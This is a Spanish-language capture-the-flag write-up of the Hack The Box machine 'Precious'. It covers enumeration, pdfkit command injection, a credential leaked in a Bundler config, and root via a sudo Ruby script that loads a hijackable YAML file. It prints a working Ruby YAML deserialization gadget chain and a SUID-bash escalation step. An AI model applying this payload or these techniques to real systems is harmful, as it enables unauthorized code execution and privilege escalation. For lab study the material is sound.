Hack The Box: Precious Writeup | Easy

Table of Contents

Hack The Box: Precious Writeup

Welcome to my detailed writeup of the easy difficulty machine “Precious” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.228.98 --ulimit 5000 -g
210.129.228.98 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.228.98 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 16:48 CEST
 3Nmap scan report for 10.129.228.98
 4Host is up (0.037s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
10|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
11|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
1280/tcp open  http    nginx 1.18.0
13|_http-server-header: nginx/1.18.0
14|_http-title: Did not follow redirect to http://precious.htb/
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 8.02 seconds

Encontramos el dominio precious.htb, así que lo añadimos al /etc/hosts

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.98 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 16:49 CEST
 3Nmap scan report for 10.129.228.98
 4Host is up (0.036s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 721898/udp closed unknown
 823256/udp closed unknown
 925249/udp closed unknown
1028692/udp closed unknown
1131743/udp closed unknown
1261142/udp closed unknown

El punto de entrada a esta máquina debe de ser el puerto 80/TCP

HTTP Enumeration

Write-up Image

Vemos que efectivamente, el servidor nos hace una solicitud.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.98 - - [05/Aug/2024 16:53:09] "GET / HTTP/1.1" 200 -

Me interesa saber el User-Agent ya que quizás pueda revelar información relevante, así que me voy a poner en escucha con netcat

 1$ sudo nc -lvnp 8081
 2listening on [any] 8081 ...
 3connect to [10.10.14.18] from (UNKNOWN) [10.129.228.98] 39566
 4GET / HTTP/1.1
 5Host: 10.10.14.18:8081
 6User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
 7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 8Connection: Keep-Alive
 9Accept-Encoding: gzip, deflate
10Accept-Language: en-US,*

Detectamos que se está usando wkhtmltopdf el cual tiene una vulnerabilidad SSRF que ya he explotado en otras ocasiones, pero esta vez por ahí no van los tiros.

Command Injection -> Foothold

Si nos descargamos un PDF generado por esta aplicación y miramos los metadatos, podemos ver lo siguiente

 1$ exiftool owh68flhpo0qrmf14hqn7slwa51tkwks.pdf 
 2ExifTool Version Number         : 12.57
 3File Name                       : owh68flhpo0qrmf14hqn7slwa51tkwks.pdf
 4Directory                       : .
 5File Size                       : 11 kB
 6File Modification Date/Time     : 2024:08:05 16:53:10+02:00
 7File Access Date/Time           : 2024:08:05 16:53:10+02:00
 8File Inode Change Date/Time     : 2024:08:05 16:57:24+02:00
 9File Permissions                : -rw-r--r--
10File Type                       : PDF
11File Type Extension             : pdf
12MIME Type                       : application/pdf
13PDF Version                     : 1.4
14Linearized                      : No
15Page Count                      : 1
16Creator                         : Generated by pdfkit v0.8.6

pdfkit v0.8.6 Una simple búsqueda en Google..

Write-up Image

Utilizando este PoC Write-up Image

Write-up Image

User Pivoting

En busca de la flag me dí cuenta de un directorio un tanto inusual, .bundle

 1ls -la
 2total 28
 3drwxr-xr-x 4 ruby ruby 4096 Aug  5 06:39 .
 4drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
 5lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
 6-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
 7-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
 8dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
 9drwxr-xr-x 3 ruby ruby 4096 Aug  5 06:39 .cache
10-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

¡Unas credenciales!

1ls -la
2total 12
3dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .
4drwxr-xr-x 4 ruby ruby 4096 Aug  5 06:39 ..
5-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
6cat config
7---
8BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Investigando sobre este archivo, es una herramienta para gestionar las dependencias de los proyectos en Ruby.

 1 ssh henry@10.129.228.98
 2The authenticity of host '10.129.228.98 (10.129.228.98)' can't be established.
 3ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
 4This key is not known by any other names.
 5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 6Warning: Permanently added '10.129.228.98' (ED25519) to the list of known hosts.
 7henry@10.129.228.98's password: 
 8Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
 9
10The programs included with the Debian GNU/Linux system are free software;
11the exact distribution terms for each program are described in the
12individual files in /usr/share/doc/*/copyright.
13
14Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
15permitted by applicable law.
16henry@precious:~$

Y podríamos leer la flag de usuario.

1henry@precious:~$ cat /home/henry/user.txt 
20801b15e447149...

Privilege Escalation

Podemos ejecutar el script /opt/update_dependencies.rb como el usuario root

1henry@precious:~$ sudo -l
2Matching Defaults entries for henry on precious:
3    env_reset, mail_badpass,
4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5
6User henry may run the following commands on precious:
7    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Este es el script

 1# Compare installed dependencies with those specified in "dependencies.yml"
 2require "yaml"
 3require 'rubygems'
 4
 5# TODO: update versions automatically
 6def update_gems()
 7end
 8
 9def list_from_file
10    YAML.load(File.read("dependencies.yml"))
11end
12
13def list_local_gems
14    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
15end
16
17gems_file = list_from_file
18gems_local = list_local_gems
19
20gems_file.each do |file_name, file_version|
21    gems_local.each do |local_name, local_version|
22        if(file_name == local_name)
23            if(file_version != local_version)
24                puts "Installed version differs from the one specified in file: " + local_name
25            else
26                puts "Installed version is equals to the one specified in file: " + local_name
27            end
28        end
29    end
30end

Al buscar en Google el método YAML.load el cual me llamó la atención… Write-up Image

Me llamó la atención ya que este archivo se carga de forma relativa, por lo cual podríamos secuestrar el archivo dependencies.yml y conseguir la deserialización.

Vamos a usar este PoC.

Nos creamos un archivo dependencies.yml

 1henry@precious:/tmp$ cat dependencies.yml 
 2---
 3- !ruby/object:Gem::Installer
 4    i: x
 5- !ruby/object:Gem::SpecFetcher
 6    i: y
 7- !ruby/object:Gem::Requirement
 8  requirements:
 9    !ruby/object:Gem::Package::TarReader
10    io: &1 !ruby/object:Net::BufferedIO
11      io: &1 !ruby/object:Gem::Package::TarReader::Entry
12         read: 0
13         header: "abc"
14      debug_output: &1 !ruby/object:Net::WriteAdapter
15         socket: &1 !ruby/object:Gem::RequestSet
16             sets: !ruby/object:Net::WriteAdapter
17                 socket: !ruby/module 'Kernel'
18                 method_id: :system
19             git_set: id
20         method_id: :resolve

Ahora si todo sale bien, se debería de ejecutar el comando id que es el que está en el campo git_set

1henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
2sh: 1: reading: not found
3uid=0(root) gid=0(root) groups=0(root)
4Traceback (most recent call last):
5	33: from /opt/update_dependencies.rb:17:in `<main>'
6	32: from /opt/update_dependencies.rb:10:in `list_from_file'
7	31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
8	30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
9....

Y podemos ver que se ejecuta.

Ahora solo falta cambiar el comando que queremos ejecutar en el archivo dependencies.yml Write-up Image

1henry@precious:/tmp$ ls -la /bin/bash
2-rwxr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Ahora ejecutamos el script…

1henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
1henry@precious:/tmp$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
3henry@precious:/tmp$ bash -p
4bash-5.1# id
5uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry

Y ya nos hemos convertido en root.

Y podríamos leer la flag.

1bash-5.1# cat /root/root.txt
257c37a02615a95fcde....

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Precious   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #Linux   #Information Leakage   #Abusing Pdfkit V0.8.6   #CVE-2022-25765   #User Pivoting   #Command Injection   #Abusing Bundler   #Abusing Sudoers   #Deserialization   #YAML Deserialization